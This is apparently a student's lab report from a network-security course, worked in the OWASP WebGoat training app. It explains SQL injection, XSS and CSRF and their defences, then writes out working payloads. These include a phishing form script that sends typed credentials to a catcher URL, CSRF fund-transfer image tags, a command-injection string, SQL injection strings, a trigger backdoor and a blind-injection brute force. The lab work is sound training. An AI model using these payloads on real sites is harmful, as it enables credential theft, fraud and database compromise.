20145215《網絡對抗》Exp9 Web安全基礎實踐

時間 2019-11-08

標籤網絡對抗 exp9 exp web 安全基礎實踐欄目 HTML 简体版

原文原文鏈接

20145215《網絡對抗》Exp9 Web安全基礎實踐

基礎問題回答

SQL注入攻擊原理，如何防護？
- SQL注入攻擊就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意SQL命令的目的。
- 對於SQL注入攻擊的防範，我以爲主要仍是應該從代碼上入手：
  - 採用預編譯語句集PreparedStatement，它內置了處理SQL注入的能力，只要使用它的setXXX方法傳值便可。它的原理就是sql注入只對sql語句的準備(編譯)過程有破壞做用，而PreparedStatement已經準備好了，執行階段只是把輸入串做爲數據處理，而再也不對sql語句進行解析準備，所以也就避免了sql注入問題；
  - 使用正則表達式過濾傳入的參數，對一些包含sql注入的關鍵字進行過濾；
  - 採用字符串過濾的方法；
  - jsp中調用該函數檢查是否包含非法字符，防止SQL從URL注入。
XSS攻擊的原理，如何防護？
- XSS是代碼注入的一種，它容許惡意用戶將代碼注入到網頁上，並可以被瀏覽器成功的執行，其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。XSS攻擊的主要目的是，想辦法獲取目標攻擊網站的cookie，由於有了cookie至關於有了seesion，有了這些信息就能夠在任意能接進互聯網的pc登錄該網站，並以其餘人的身份登錄，作一些破壞。
- XSS的防護能夠從如下兩方面來進行：
  - 一種方法是在表單提交或者url參數傳遞前，對須要的參數進行過濾；
  - 檢查用戶輸入的內容中是否有非法內容，如尖括號、引號等，嚴格控制輸出。
CSRF攻擊原理，如何防護？
- 咱們知道XSS是跨站腳本攻擊，就是在用戶的瀏覽器中執行攻擊者的腳本，來得到其cookie等信息。而CSRF是借用用戶的身份，向web server發送請求，由於該請求不是用戶本意，因此稱爲「跨站請求僞造」。
- 對於CSRF的防護也能夠從如下幾個方面入手：
  - 經過referer、token或者驗證碼來檢測用戶提交；
  - 儘可能不要在頁面的連接中暴露用戶隱私信息，對於用戶修改刪除等操做最好都使用post操做；
  - 避免全站通用的cookie，嚴格設置cookie的域。

實踐內容

關於WebGoat

WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺，用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上，目前提供的訓練課程有不少，包含了XSS、線程安全、SQL注入等，咱們本次的實驗就是在WebGoat平臺上進行。

WebGoat分爲簡單版和開發板，簡單版是個Java的Jar包，只須要有Java環境便可，咱們在命令行裏執行：java -jar webgoat-container-7.0.1-war-exec.jar運行WebGoat：
html
WebGoat使用8080端口，因此在瀏覽器上訪問localhost:8080/WebGoat，進入WebGoat以後，能夠看到有不少題目來讓咱們進行練習。java

Cross-Site Scripting（XSS）練習

Phishing with XSS

這個題目咱們要在搜索框中輸入XSS攻擊代碼，利用XSS能夠在已存在的頁面中進一步添加元素的特色。咱們先建立一個form，讓受害人在咱們建立的form中填寫用戶名和密碼，再添加一段JavaScript代碼，讀取受害人輸入的用戶名和密碼，而且將這些信息發送給http://localhost:8080/WebGoat/catcher?PROPERTY=yes...，完整的XSS攻擊代碼以下：

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

在搜索框中輸入攻擊代碼後點擊搜索，會看到一個要求輸入用戶名密碼的表單，如圖所示：
web
輸入用戶名密碼，點擊登陸，WebGoat會將你輸入的信息捕獲並反饋給你：
正則表達式
攻擊成功！
sql

Stored XSS Attacks

咱們的目標是要建立非法的消息內容，能夠致使其餘用戶訪問時載入非預期的頁面或內容，這個很容易啊，在上個實驗中咱們也作過，直接在title裏隨便輸點啥，而後在message中輸入一串代碼，好比：<script>alert("lxm attack succeed!");</script>
提交後，再次點擊剛剛建立的帖子，成功彈出窗口，說明攻擊成功：

Reflected XSS Attacks

當咱們輸入錯誤用戶信息後，服務器校驗輸入有誤，返回錯誤頁面並將錯誤內容展現給咱們看：
瀏覽器
這時若是咱們將帶有攻擊性的URL做爲輸入源，例如依舊輸入<script>alert("lxm attack succeed!");</script>，就會彈出對話框：
安全
雖然這個效果和上一個存儲型XSS實驗的效果相似，可是二者所用的原理不同，存儲型XSS是持久化的，代碼是存儲在服務器中，比較典型的例子就是上面所用的留言板，而這個實驗中用的是反射型XSS攻擊是非持久化的，應用的場景好比欺騙用戶本身去點擊連接才能觸發XSS代碼，也就是說它的代碼是不存在服務器中的，因此通常來講存儲型XSS攻擊危害更大。服務器

Cross Site Request Forgery(CSRF)

咱們的目的是要寫一個URL誘使其餘用戶點擊，從而觸發CSRF攻擊，咱們能夠以圖片的的形式將URL放進Message框，這時的URL對其餘用戶是不可見的，用戶一旦點擊圖片，就會觸發一個CSRF事件。
咱們在message框中輸入這樣一串代碼：<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>，注意這裏面的Screen和menu的值每一個人的電腦可能不同，能夠在當前頁面的右邊有個Parameters進行查看：
cookie
提交後，會在消息列表中看到一個新的消息，點擊該消息，當前頁面就會下載這個消息並顯示出來，轉走用戶的4000元，從而達到CSRF攻擊的目的。網絡

CSRF Prompt By-Pass

咱們依舊和上一個同樣要構造CSRF攻擊，不過此次其包括了兩個請求，一是轉帳請求，二是確認轉帳成功請求，即須要額外傳遞兩個參數給服務器（transferFunds=4000，transferFunds=CONFIRM）
一開始我是直接在message中寫入了攻擊代碼，可是沒有成功，因而我換了一種方法，先在瀏覽器中手動輸入URL：localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000進入確認轉帳請求頁面：
以後看了一下網頁的源代碼，發現transferFunds的值變成了CONFIRM：
因而點擊了CONFIRM按鈕以後，再在瀏覽器中輸入URL：localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM，成功轉走了5000元：

Injection Flaws練習

Command Injection

這個題是要求可以在目標主機上執行系統命令，咱們能夠經過火狐瀏覽器下的一個擴展Firebug（就是右上角的小蟲的標誌）對源代碼進行修改，例如在BackDoors.help旁邊加上"& netstat -an & ipconfig"：
以後在下拉菜單中能看到咱們修改後的值：
選中修改後的值再點view，能夠看到命令被執行，出現系統網絡鏈接狀況：

Numeric SQL Injection

咱們要經過注入SQL字符串的方式查看全部的天氣數據，咱們上次實驗作過相似的，只要加上一個1=1這種永真式便可達到咱們的目的，依舊利用firebug，在任意一個值好比101旁邊加上or 1=1：
選中Columbia，點Go，能夠看到全部天氣數據：

Log Spoofing

咱們輸入的用戶名會被追加到日誌文件中，因此咱們可使用障眼法來使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」，在User Name文本框中輸入lxm%0d%0aLogin Succeeded for username: admin，其中%0d是回車，%0a是換行符：
如圖所示，攻擊成功：

String SQL Injection

仍是和以前同樣，基於select語句構造SQL注入字符串，在文本框中輸入' or 1=1 --：
點Go，攻擊成功，全部用戶信息都被顯示出來：

LAB:SQL Injection(Stage 1:String SQL Injection)

以用戶Neville登陸，在密碼欄中輸入' or 1=1 --進行SQL注入，可是登陸失敗：
後面查看了一下網頁源碼，發現輸入框對輸入的字符長度進行了限制，最多隻容許輸入8個字符：
對字符長度進行修改，而後從新登陸，登陸成功：

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

咱們仍是用上一題的辦法先以用戶名Larry登陸，登陸以後看到瀏覽員工信息的按鈕是ViewProfile：
在網頁代碼中分析一下這個按鈕，發現這個地方是以員工ID做爲索引傳遞參數的，咱們要達到經過Larry來瀏覽老闆帳戶信息的目的，通常來講老闆的工資都應該是最高的，因此把其中的value值改成101 or 1=1 order by salary desc --，這樣老闆的信息就會被排到第一個：
以後就能夠查看到老闆的信息：

Database Backdoors

先輸一個101，獲得了該用戶的信息：
能夠發現輸入的語句沒有驗證，很容易進行SQL注入，輸入注入語句：101; update employee set salary=10000，成功把該用戶的工資漲到了10000：
接下來使用語句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145215@163.com' WHERE userid = NEW.userid建立一個後門，把表中全部的郵箱和用戶ID都設爲個人：

咱們的目標是找到pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值，從服務端頁面返回的信息中能夠知道，它只告訴你兩種信息：賬號有效或無效，咱們能夠先輸入語句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );查看pin數值是否大於10000：
以後慢慢縮小範圍，最終能夠肯定pin的值在2000到2500之間，而後打開BurpSuite，關於BurpSuite代理的設置，你們能夠參考zqh的博客，或者本身百度，比較簡單。
設置好代理後，抓個包而後send to intruder進行暴力破解，由於咱們只須要將載荷注入到一個地方，因此使用sniper模式，再選擇攻擊的位置，先Clear一下，把它默認的攻擊位置所有取消，如圖所示再選中account_number後面的值點擊Add：
選好攻擊位置後要設置載荷，因爲咱們要進行數字類型的暴力破解，因此選擇載荷類型爲Numbers，步長爲1，再設置從2000到2500進行，設置完成後開始攻擊：
能夠看到2364的報文長度明顯和其餘不同，那這個值就應該就是2364：
將這個值輸入到網頁中，成功：

實驗總結與體會

作這些題目其實頗有意思，結合了一些情景，讓咱們更加接近於實戰。此次作的只是關於Web安全，還有不少其餘方面的，好比逆向、密碼等，以前也作過一些相似CTF的題目，雖然有的時候作出一道題目須要腦洞比較大，可是作得多了以後就會發現其實也沒有那麼難想到，由於不少套路你慢慢在作題中就能領悟到，我以爲作題的過程也是一我的思考的過程，就算實在沒想出來最後看了別人寫的writeup也會很受啓發，經歷了思考的東西永遠都是印象最深的。